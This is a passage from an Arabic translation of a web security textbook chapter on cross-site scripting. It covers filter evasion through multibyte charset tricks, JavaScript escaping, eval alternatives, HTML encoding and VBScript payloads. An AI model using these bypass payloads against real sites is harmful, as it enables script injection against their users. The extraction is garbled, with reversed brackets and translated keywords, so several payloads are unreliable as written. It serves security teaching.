‫ﺍﻟﻤﻬﺎﺟﻢﻣﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻱ ﻋﻼﻣﺎﺕ ‪ .HTML‬ﻳﺒﺪﻭ ﻫﺬﺍ ﺍﻹﺟﺮﺍء ﻓﻌﺎّﻻ‪ ً،‬ﻭﻟﻜﻦ ﻗﺪ ﻳﺘﻤﻜﻦ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ‬
‫ﺍﺳﺘﻐﻼﻝﺍﻟﺜﻐﺮﺓ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﺪﺧﻠﻴﻦ ﺍﻟﺘﺎﻟﻴﻴﻦ‪:‬‬

‫ﺍﻹﺩﺧﺎﻝ‪[f0%]:1‬‬
‫ﺍﻹﺩﺧﺎﻝ‪onload=alert)1(" :2‬؛‬

‫ﻓﻲﻣﺠﻤﻮﻋﺔ ﺃﺣﺮﻑ ‪ ،Shift-JIS‬ﺗﻮﺟﺪ ﻗﻴﻢ ﺑﺎﻳﺖ ﺧﺎﻡ ﻣﺨﺘﻠﻔﺔ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ‪0xf0,‬ﺗﺴُﺘﺨﺪﻡ‬


‫ﻟﻺﺷﺎﺭﺓﺇﻟﻰ ﺣﺮﻑ ﻣﻜﻮﻥ ﻣﻦ ﺑﺎﻳﺘﻴﻦ ﻳﺘﻜﻮﻥ ﻣﻦ ﻫﺬﺍ ﺍﻟﺒﺎﻳﺖ ﻭﺍﻟﺒﺎﻳﺖ ﺍﻟﺬﻱ ﻳﻠﻴﻪ‪ .‬ﻭﺑﺎﻟﺘﺎﻟﻲ‪ ،‬ﻋﻨﺪﻣﺎ‬
‫ﻳﻘﻮﻡﺍﻟﻤﺘﺼﻔﺢ ﺑﻤﻌﺎﻟﺠﺔﺍﻹﺩﺧﺎﻝ ‪،1‬ﻋﻼﻣﺔ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﺘﻲ ﺗﻠﻴﻬﺎ‬
‫‪0xf0‬ﻳﻔُﺴﺮَّ ﺍﻟﺒﺎﻳﺖ ﻛﺠﺰء ﻣﻦ ﺣﺮﻑ ﻣﻜﻮﻥ ﻣﻦ ﺑﺎﻳﺘﻴﻦ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻻ ﻳﺤُﺪﺩِّ ﻗﻴﻤﺔ ﺍﻟﺴﻤﺔ‪ .‬ﻳﺴﺘﻤﺮ ﻣﺤُﻠﻞِّ‬
‫‪ HTML‬ﺣﺘﻰ ﻳﺼﻞ ﺇﻟﻰ ﻋﻼﻣﺔ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﻘُﺪﻣَّﺔ ﻓﻲﺍﻹﺩﺧﺎﻝ‪،2‬ﺍﻟﺬﻱ ﻳﻨﻬﻲ ﺍﻟﺴﻤﺔ‪ ،‬ﻣﻤﺎ ﻳﺴﻤﺢ‬
‫ﺑﺘﻔﺴﻴﺮﻣﻌﺎﻟﺞ ﺍﻟﺤﺪﺙ ﺍﻟﺬﻱ ﻗﺪﻣﻪ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺎﻋﺘﺒﺎﺭﻩ ﺳﻤﺔ ﻋﻼﻣﺔ ﺇﺿﺎﻓﻴﺔ‪:‬‬

‫;(‪>img src=”image.gif” alt=”? /< ... “onload=alert)1‬‬

‫ﻋﻨﺪﻣﺎﺗﻢ ﺭﺻﺪ ﺛﻐﺮﺍﺕ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻓﻲ ﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ ﻣﺘﻌﺪﺩﺓ ﺍﻟﺒﺎﻳﺘﺎﺕ ‪ UTF-8‬ﻭﺍﺳﻌﺔ‬
‫ﺍﻻﺳﺘﺨﺪﺍﻡ‪،‬ﺍﺳﺘﺠﺎﺑﺖ ﺷﺮﻛﺎﺕ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺑﺈﺻﻼﺡ ﺣﺎﻝ ﺩﻭﻥ ﻧﺠﺎﺡ ﺍﻟﻬﺠﻮﻡ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻻ ﻳﺰﺍﻝ‬
‫ﺍﻟﻬﺠﻮﻡﻧﻔﺴﻪ ﻓﻌﺎﻻ ًﻓﻲ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺿﺪ ﻣﺠﻤﻮﻋﺎﺕ ﺃﺣﺮﻑ ﻣﺘﻌﺪﺩﺓ ﺍﻟﺒﺎﻳﺘﺎﺕ ﺃﺧﺮﻯ ﺃﻗﻞ‬
‫ﺍﺳﺘﺨﺪﺍﻣﺎً‪،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ‪ Shift-JIS‬ﻭ‪ EUC-JP‬ﻭ‪.BIG5‬‬

‫ﺗﺠﺎﻭﺯﺍﻟﻤﺮﺷﺤﺎﺕ‪ :‬ﻛﻮﺩ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ‬


‫ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﺳﺘﺠﺪ ﻃﺮﻳﻘﺔ ًﻟﻠﺘﻼﻋﺐ ﺑﺎﻟﻤﺪﺧﻼﺕ ﺍﻟﻤﻨﻌﻜﺴﺔ ﻹﺩﺧﺎﻝ ﺳﻴﺎﻕ ﻧﺼﻲ ﻓﻲ‬
‫ﺍﺳﺘﺠﺎﺑﺔﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻗﺪ ﺗﻤﻨﻌﻚ ﻋﻘﺒﺎﺕ ٌﺃﺧﺮﻯ ﻣﻦ ﺗﻨﻔﻴﺬ ﺍﻟﺸﻴﻔﺮﺓ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﻼﺯﻣﺔ ﻟﺘﻨﻔﻴﺬ‬
‫ﻫﺠﻮﻡﻓﻌﻠﻲ‪ .‬ﻋﺎﺩﺓ ًﻣﺎ ﺗﺴﻌﻰ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ ﻗﺪ ﺗﻮﺍﺟﻬﻬﺎ ﻫﻨﺎ ﺇﻟﻰ ﻣﻨﻊ ﺍﺳﺘﺨﺪﺍﻡ ﻛﻠﻤﺎﺕ ﻣﻔﺘﺎﺣﻴﺔ‬
‫ﻣﻌﻴﻨﺔﻓﻲ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻭﺗﻌﺒﻴﺮﺍﺕ ﺃﺧﺮﻯ‪ .‬ﻛﻤﺎ ﻗﺪ ﺗﻤﻨﻊ ﺃﻳﻀﺎً ﺍﺳﺘﺨﺪﺍﻡ ﺃﺣﺮﻑ ﻣﻔﻴﺪﺓ ﻣﺜﻞ ﻋﻼﻣﺎﺕ‬
‫ﺍﻻﻗﺘﺒﺎﺱﻭﺍﻷﻗﻮﺍﺱ ﻭﺍﻟﻨﻘﺎﻁ‪.‬‬

‫ﻛﻤﺎﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﺍﻟﺘﻌﺘﻴﻢ ﻋﻠﻰ ﺍﻟﻬﺠﻤﺎﺕ ﺑﺎﺳﺘﺨﺪﺍﻡ ‪ ،HTML‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ‬
‫ﺍﻟﺘﻘﻨﻴﺎﺕﻟﺘﻌﺪﻳﻞ ﻛﻮﺩ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﻤﻄﻠﻮﺏ ﻟﺘﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﺍﻟﺸﺎﺉﻌﺔ‪.‬‬

‫ﺍﺳﺘﺨﺪﺍﻡ‪JavaScript Escaping‬‬
‫ﻳﺘﻴﺢ‪ JavaScript‬ﺃﻧﻮﺍﻋﺎً ﻣﺨﺘﻠﻔﺔ ﻣﻦ ﺍﻹﻓﻼﺕ ﻣﻦ ﺍﻷﺣﺮﻑ‪ ،‬ﻭﺍﻟﺘﻲ ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻟﺘﺠﻨﺐ‬
‫ﺗﻀﻤﻴﻦﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﺍﻟﻤﻄﻠﻮﺑﺔ ﻓﻲ ﺷﻜﻠﻬﺎ ﺍﻟﺤﺮﻓﻲ‪.‬‬
‫ﻳﻤﻜﻦﺍﺳﺘﺨﺪﺍﻡ ﺃﺣﺮﻑ ‪ Unicode‬ﻟﺘﻤﺜﻴﻞ ﺍﻷﺣﺮﻑ ﺩﺍﺧﻞ ﻛﻠﻤﺎﺕ ‪ JavaScript‬ﺍﻷﺳﺎﺳﻴﺔ‪ ،‬ﻣﻤﺎ‬
‫ﻳﺴﻤﺢﻟﻚ ﺑﺘﺠﺎﻭﺯ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺃﻧﻮﺍﻉ ﺍﻟﻤﺮﺷﺤﺎﺕ‪:‬‬

‫<‪>script<a\u006cert)1(;>/script‬‬

‫ﺇﺫﺍﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻚ ﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻦﺗﻘﻴﻴﻢﺍﻷﻣﺮ‪ ،‬ﺭﺑﻤﺎ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﺘﻘﻨﻴﺔ ﺍﻟﺴﺎﺑﻘﺔ ﻟﻠﻬﺮﻭﺏ ﻣﻦ ﺑﻌﺾ‬
‫ﺃﺣﺮﻓﻪ‪،‬ﻳﻤﻜﻨﻚ ﺗﻨﻔﻴﺬ ﺃﻭﺍﻣﺮ ﺃﺧﺮﻯ ﻋﻦ ﻃﺮﻳﻖ ﺗﻤﺮﻳﺮﻫﺎ ﺇﻟﻰﺗﻘﻴﻴﻢﺍﻷﻣﺮ ﺑﺼﻴﻐﺔ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ‪ .‬ﻫﺬﺍ‬
‫ﻳﺴﻤﺢﻟﻚ‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪466‬‬

‫ﺍﺳﺘﺨﺪﻡﺗﻘﻨﻴﺎﺕ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻹﺧﻔﺎء ﺍﻷﻣﺮ ﺍﻟﺬﻱ ﺗﻘﻮﻡ ﺑﺘﻨﻔﻴﺬﻩ‪.‬‬

‫ﺩﺍﺧﻞﺳﻼﺳﻞ ‪ ،JavaScript‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺃﺣﺮﻑ ﺍﻟﻬﺮﻭﺏ ‪ Unicode‬ﻭﺃﺣﺮﻑ ﺍﻟﻬﺮﻭﺏ ﺍﻟﺴﺪﺍﺳﻴﺔ ﻋﺸﺮﻳﺔ‬


‫ﻭﺃﺣﺮﻑﺍﻟﻬﺮﻭﺏ ﺍﻟﺜﻤﺎﻧﻴﺔ‪:‬‬

‫<‪/script< >script<eval)'a\154ert)1('(;>/script‬‬
‫>;('(‪/script< >script<eval)'a\x6cert)1‬‬
‫>;('(‪>script<eval)'a\u006cert)1‬‬

‫ﻋﻼﻭﺓﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﻳﺘﻢ ﺗﺠﺎﻫﻞ ﺃﺣﺮﻑ ﺍﻹﻓﻼﺕ ﺍﻟﺰﺍﺉﺪﺓ ﺩﺍﺧﻞ ﺍﻟﺴﻼﺳﻞ‪:‬‬

‫<‪>script<eval)'a\l\ert\)1\('(;>/script‬‬

‫ﺇﻧﺸﺎءﺍﻟﺴﻼﺳﻞ ﺑﺸﻜﻞ ﺩﻳﻨﺎﻣﻴﻜﻲ‬


‫ﻳﻤﻜﻨﻚﺍﺳﺘﺨﺪﺍﻡ ﺗﻘﻨﻴﺎﺕ ﺃﺧﺮﻯ ﻹﻧﺸﺎء ﺳﻼﺳﻞ ﺑﺸﻜﻞ ﺩﻳﻨﺎﻣﻴﻜﻲ ﻻﺳﺘﺨﺪﺍﻣﻬﺎ ﻓﻲ ﻫﺠﻤﺎﺗﻚ‪:‬‬

‫<‪/script< >script<eval)atob)'amF2YXNjcmlwdDphbGVydCgxKQ'((;>/script‬‬
‫>;((‪/script< >script<eval)String.fromCharCode)97,108,101,114,116,40,49,41‬‬
‫>;('(‪>script<eval)'al'+'ert)1‬‬

‫ﻳﺘﻴﺢﻟﻚ ﺍﻟﻤﺜﺎﻝ ﺍﻷﺧﻴﺮ‪ ،‬ﺍﻟﺬﻱ ﻳﻌﻤﻞ ﻋﻠﻰ ‪ ،Firefox‬ﻓﻚ ﺗﺸﻔﻴﺮ ﺃﻣﺮ ﻣﺸﻔﺮ ﺑﺘﻨﺴﻴﻖ ‪Base64‬‬
‫ﻗﺒﻞﺗﻤﺮﻳﺮﻩ ﺇﻟﻰﺗﻘﻴﻴﻢ‪.‬‬

‫ﺑﺪﺍﺉﻞﻟﻠﺘﻘﻴﻴﻢ‬
‫ﺇﺫﺍﻛﺎﻧﺖ ﺍﻟﻤﻜﺎﻟﻤﺎﺕ ﺍﻟﻤﺒﺎﺷﺮﺓ ﺇﻟﻰﺗﻘﻴﻴﻢﻻ ﻳﻤﻜﻦ ﺗﻨﻔﻴﺬ ﺍﻷﻭﺍﻣﺮ‪ ،‬ﻟﺪﻳﻚ ﻃﺮﻕ ﺃﺧﺮﻯ ﻟﺘﻨﻔﻴﺬ ﺍﻷﻭﺍﻣﺮ ﻓﻲ‬
‫ﺷﻜﻞﺳﻠﺴﻠﺔ‪:‬‬

‫<‪/.+/,eval(>/script< >script<function::]'alert'[)1(>/script‬‬
‫)‪>script<'alert)1('.replace‬‬

‫ﺑﺪﺍﺉﻞﻟﻠﻨﻘﺎﻁ‬
‫ﺇﺫﺍﺗﻢ ﺣﻈﺮ ﺣﺮﻑ ﺍﻟﻨﻘﻄﺔ‪ ،‬ﻓﻴﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻃﺮﻕ ﺃﺧﺮﻯ ﻹﺟﺮﺍء ﻋﻤﻠﻴﺎﺕ ﺇﻟﻐﺎء ﺍﻟﻤﺮﺟﻌﻴﺔ‪:‬‬

‫<‪>/script‬ﻣﻊ)ﻭﺛﻴﻘﺔ(ﺗﻨﺒﻴﻪ)ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ(<‪>/script< >script‬‬


‫ﺗﻨﺒﻴﻪ)ﻭﺛﻴﻘﺔ]'ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ'[(<‪>script‬‬

‫ﺍﻟﺠﻤﻊﺑﻴﻦ ﺗﻘﻨﻴﺎﺕ ﻣﺘﻌﺪﺩﺓ‬


‫ﻳﻤﻜﻦﻏﺎﻟﺒﺎً ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﻤﻮﺻﻮﻓﺔ ﺣﺘﻰ ﺍﻵﻥ ﻣﻌﺎً ﻟﺘﻄﺒﻴﻖ ﻋﺪﺓ ﻃﺒﻘﺎﺕ ﻣﻦ ﺍﻟﺘﻌﺘﻴﻢ ﻋﻠﻰ‬
‫ﻫﺠﻮﻣﻚ‪.‬ﻋﻼﻭﺓ ًﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﻓﻲ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﺗﺴُﺘﺨﺪﻡ ﻓﻴﻬﺎ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺿﻤﻦ ﺳﻤﺔ ﻭﺳﻢ‬
‫‪) HTML‬ﻋﺒﺮ ﻣﻌﺎﻟﺞ ﺃﺣﺪﺍﺙ‪ ،‬ﺃﻭ ﺑﺮﻭﺗﻮﻛﻮﻝ ﻧﺼﻲ ﺯﺍﺉﻒ‪ ،‬ﺃﻭ ﺃﺳﻠﻮﺏ ﺗﻘﻴﻴﻢ ﺩﻳﻨﺎﻣﻴﻜﻲ(‪ ،‬ﻳﻤﻜﻨﻚ ﺩﻣﺞ‬
‫ﻫﺬﻩﺍﻟﺘﻘﻨﻴﺎﺕ ﻣﻊ ﺗﺮﻣﻴﺰ ‪ .HTML‬ﻳﻔﻚ ﺍﻟﻤﺘﺼﻔﺢ ﻗﻴﻤﺔ ﺳﻤﺔ ﺍﻟﻮﺳﻢ ﻗﺒﻞ ﺗﻔﺴﻴﺮ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‬
‫ﺍﻟﺘﻲﺗﺤﺘﻮﻳﻬﺎ‪ .‬ﻓﻲ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺘﺎﻟﻲ‪ ،‬ﺗﻢ ﺇﻓﻼﺕ ﺣﺮﻑ "‪ "e‬ﻓﻲ "‪ "alert‬ﺑﺎﺳﺘﺨﺪﺍﻡ ﺇﻓﻼﺕ ‪،Unicode‬‬
‫ﻭﺗﻢﺗﺮﻣﻴﺰ ﺍﻟﺸﺮﻃﺔ ﺍﻟﻤﺎﺉﻠﺔ ﺍﻟﻌﻜﺴﻴﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ ﻓﻲ ﺇﻓﻼﺕ ‪ Unicode‬ﺑﺎﺳﺘﺨﺪﺍﻡ ‪:HTML‬‬

‫<‪>img onerror=eval)'al\u0065rt)1('( src=a‬‬


‫‪467‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺑﺎﻟﻄﺒﻊ‪،‬ﺃﻱ ﻣﻦ ﺍﻟﺸﺨﺼﻴﺎﺕ ﺍﻷﺧﺮﻯ ﺩﺍﺧﻞﻋﻨﺪ ﺣﺪﻭﺙ ﺧﻄﺄﻳﻤﻜﻦ ﺃﻳﻀﺎً ﺗﺮﻣﻴﺰ ﻗﻴﻤﺔ ﺍﻟﺴﻤﺔ ﺑﺼﻴﻐﺔ‬
‫‪ HTML‬ﻹﺧﻔﺎء ﺍﻟﻬﺠﻮﻡ ﺑﺸﻜﻞ ﺃﻛﺒﺮ‪:‬‬

‫&‪>img onerror=eval)'al\u0065rt)1‬‬
‫<‪# x29;'( src=a‬‬

‫ﺗﻤﻜﻨﻚﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻣﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻤﻮﺟﻮﺩﺓ ﻓﻲ ﻛﻮﺩ ‪ ،JavaScript‬ﻷﻧﻚ‬


‫ﺗﺴﺘﻄﻴﻊﺗﺠﻨﺐ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻱ ﻛﻠﻤﺎﺕ ﺭﺉﻴﺴﻴﺔ ﺃﻭ ﺃﻱ ﺑﻨﺎء ﺟﻤﻠﺔ ﺁﺧﺮ ﻓﻲ ‪ JavaScript‬ﻣﺜﻞ ﻋﻼﻣﺎﺕ‬
‫ﺍﻻﻗﺘﺒﺎﺱﻭﺍﻟﻨﻘﺎﻁ ﻭﺍﻷﻗﻮﺍﺱ‪.‬‬

‫ﺍﺳﺘﺨﺪﺍﻡ‪VBScript‬‬
‫ﻣﻊﺃﻥ ﺍﻷﻣﺜﻠﺔ ﺍﻟﺸﺎﺉﻌﺔ ﻟﺜﻐﺮﺍﺕ ‪ XSS‬ﺗﺮُﻛﺰ ﻋﺎﺩﺓ ًﻋﻠﻰ ‪ ،JavaScript‬ﺇﻻ ﺃﻧﻪ ﻳﻤُﻜﻨﻚ ﺃﻳﻀﺎً ﺍﺳﺘﺨﺪﺍﻡ‬
‫ﻟﻐﺔ‪ VBScript‬ﻋﻠﻰ ﻣﺘﺼﻔﺢ ‪ .Internet Explorer‬ﺗﺘﻤﻴﺰ ﻫﺬﻩ ﺍﻟﻠﻐﺔ ﺑﺘﺮﻛﻴﺐ ﻟﻐﻮﻱ ﻭﺧﺼﺎﺉﺺ‬
‫ﺃﺧﺮﻯﻣﺨُﺘﻠﻔﺔ‪ ،‬ﻣﻤﺎ ﻳﺘُﻴﺢ ﻟﻚ ﺗﺠﺎﻭﺯ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﺮُﺷﺤِّﺎﺕ ﺍﻹﺩﺧﺎﻝ ﺍﻟﻤﺼُﻤﻤَّﺔ ﺧﺼﻴﺼﺎً ﻟـ‬
‫‪.JavaScript‬‬
‫ﻳﻤﻜﻨﻚﺗﻘﺪﻳﻢ ﻛﻮﺩ ‪ VBScript‬ﺑﻄﺮﻕ ﻣﺨﺘﻠﻔﺔ‪:‬‬

‫<‪” src=a< >img onerror=MsgBox+1 language=vbs src=a‬‬


‫‪1>/script< >img onerror=”vbs:MsgBox1‬‬
‫‪>script language=vbs<MsgBox‬‬

‫ﻓﻲﺟﻤﻴﻊ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡﻓﻲ ﺑﻲ ﺳﻜﺮﻳﺒﺖﺑﺪﻻ ًﻣﻦﻓﺒﺲﻟﺘﺤﺪﻳﺪ ﺍﻟﻠﻐﺔ‪ .‬ﻓﻲ ﺍﻟﻤﺜﺎﻝ‬


‫ﺍﻷﺧﻴﺮ‪،‬ﻻﺣﻆ ﺍﺳﺘﺨﺪﺍﻡﺻﻨﺪﻭﻕ ﺍﻟﺮﺳﺎﺉﻞ‪1+‬ﻟﺘﺠﻨﺐ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﺴﺎﻓﺎﺕ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﻨﺐ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ‬
‫ﻋﻼﻣﺎﺕﺍﻻﻗﺘﺒﺎﺱ ﺣﻮﻝ ﻗﻴﻤﺔ ﺍﻟﺴﻤﺔ‪ .‬ﻫﺬﺍ ﻳﻌﻤﻞ ﻷﻥ‬
‫‪1 +‬ﻳﻀﻴﻒ ﺍﻟﺮﻗﻢ ﺑﺸﻜﻞ ﻓﻌﺎﻝ‪1‬ﺇﻟﻰ ﻻ ﺷﻲء‪ ،‬ﻟﺬﺍ ﻓﺈﻥ ﺍﻟﺘﻌﺒﻴﺮ ﻳﻘُﻴﻢّ ﺇﻟﻰ‪ ,1‬ﺍﻟﺘﻲ ﻳﺘﻢ ﺗﻤﺮﻳﺮﻫﺎ ﺇﻟﻰ‬
‫ﺻﻨﺪﻭﻕﺍﻟﺮﺳﺎﺉﻞﻭﻇﻴﻔﺔ‪.‬‬
‫ﺗﺠﺪﺭﺍﻹﺷﺎﺭﺓ ﺇﻟﻰ ﺃﻧﻪ ﻓﻲ ‪ ،VBScript‬ﻳﻤﻜﻦ ﺍﺳﺘﺪﻋﺎء ﺑﻌﺾ ﺍﻟﺪﻭﺍﻝ ﺑﺪﻭﻥ ﺃﻗﻮﺍﺱ‪ ،‬ﻛﻤﺎ ﻫﻮ‬
‫ﻣﻮﺿﺢﻓﻲ ﺍﻷﻣﺜﻠﺔ ﺍﻟﺴﺎﺑﻘﺔ‪ .‬ﻗﺪ ﻳﺴﻤﺢ ﻟﻚ ﻫﺬﺍ ﺑﺘﺠﺎﻭﺯ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ ﺗﻔﺘﺮﺽ ﺃﻥ ﺷﻴﻔﺮﺓ‬
‫ﺍﻟﺒﺮﻧﺎﻣﺞﺍﻟﻨﺼﻲ ﻳﺠﺐ ﺃﻥ ﺗﺴﺘﺨﺪﻡ ﺍﻷﻗﻮﺍﺱ ﻟﻠﻮﺻﻮﻝ ﺇﻟﻰ ﺃﻱ ﺩﻭﺍﻝ‪.‬‬
‫ﻋﻼﻭﺓﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﺑﺨﻼﻑ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‪ ،‬ﻓﺈﻥ ﻟﻐﺔ ‪ VBScript‬ﻟﻴﺴﺖ ﺣﺴﺎﺳﺔ ﻟﺤﺎﻟﺔ ﺍﻷﺣﺮﻑ‪ ،‬ﻟﺬﺍ‬
‫ﻳﻤﻜﻨﻚﺍﺳﺘﺨﺪﺍﻡ ﺍﻷﺣﺮﻑ ﺍﻟﻜﺒﻴﺮﺓ ﻭﺍﻟﺼﻐﻴﺮﺓ ﻓﻲ ﺟﻤﻴﻊ ﺍﻟﻜﻠﻤﺎﺕ ﺍﻟﻤﻔﺘﺎﺣﻴﺔ ﻭﺃﺳﻤﺎء ﺍﻟﺪﻭﺍﻝ‪ .‬ﻳﻜﻮﻥ‬
‫ﻫﺬﺍﺍﻟﺴﻠﻮﻙ ﺃﻛﺜﺮ ﻓﺎﺉﺪﺓ ﻋﻨﺪﻣﺎ ﺗﻌُﺪﻝّ ﺩﺍﻟﺔ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺘﻲ ﺗﻬُﺎﺟﻤﻬﺎ ﺣﺎﻟﺔ ﻣﺪُﺧﻼﺗﻚ‪ ،‬ﻣﺜﻞ ﺗﺤﻮﻳﻠﻬﺎ‬
‫ﺇﻟﻰﺃﺣﺮﻑ ﻛﺒﻴﺮﺓ‪ .‬ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ ﻫﺬﺍ ﻗﺪ ﻳﻜﻮﻥ ﻷﺳﺒﺎﺏ ﻭﻇﻴﻔﻴﺔ ﻻ ﺃﻣﻨﻴﺔ‪ ،‬ﺇﻻ ﺃﻧﻪ ﻗﺪ ﻳﻌُﻴﻖ‬
‫ﺍﺳﺘﻐﻼﻝﺛﻐﺮﺍﺕ ‪ XSS‬ﺑﺎﺳﺘﺨﺪﺍﻡ ﺷﻴﻔﺮﺓ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‪ ،‬ﻭﺍﻟﺘﻲ ﻻ ﺗﻨُﻔﺬّ ﻋﻨﺪ ﺗﺤﻮﻳﻠﻬﺎ ﺇﻟﻰ ﺃﺣﺮﻑ‬
‫ﻛﺒﻴﺮﺓ‪.‬ﻓﻲ ﺍﻟﻤﻘﺎﺑﻞ‪ ،‬ﻻ ﺗﺰﺍﻝ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻡ ‪ VBScript‬ﺗﻌﻤﻞ‪:‬‬

‫>ﻟﻐﺔ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ=‪ONERROR=”VBS:MSGBOX 1” SRC=A‬‬


‫‪<VBS<MSGBOX 1>/SCRIPT< >IMG‬‬

‫ﺩﻣﺞ‪ VBScript‬ﻭ‪JavaScript‬‬
‫ﻹﺿﺎﻓﺔﻃﺒﻘﺎﺕ ﺃﺧﺮﻯ ﻣﻦ ﺍﻟﺘﻌﻘﻴﺪ ﺇﻟﻰ ﻫﺠﻮﻣﻚ‪ ،‬ﻭﺍﻻﻟﺘﻔﺎﻑ ﻋﻠﻰ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ‪ ،‬ﻳﻤﻜﻨﻚ‬
‫ﺍﻻﺗﺼﺎﻝﺑـ ‪ VBScript‬ﻣﻦ ‪ ،JavaScript‬ﻭﺍﻟﻌﻜﺲ ﺻﺤﻴﺢ‪:‬‬

‫<‪"(>/script‬ﺗﻨﺒﻴﻪ)‪/script< >script language=vbs<execScript)"(1‬‬


‫>;("‪","vbscript‬ﻣﺮﺑﻊ ﺍﻟﺮﺳﺎﻟﺔ ‪>script<execScript)"1‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪468‬‬

‫ﻳﻤﻜﻨﻚﺃﻳﻀﺎً ﺗﻌﺸﻴﺶ ﻫﺬﻩ ﺍﻟﻤﻜﺎﻟﻤﺎﺕ ﻭﺍﻟﺘﻨﻘﻞ ﺑﻴﻦ ﺍﻟﻠﻐﺎﺕ ﺣﺴﺐ ﺍﻟﺤﺎﺟﺔ‪:‬‬

‫<‪“alert)1(”,”javascript”',”vbscript”(;>/script‬‬
‫‪>script<execScript)'execScript‬‬

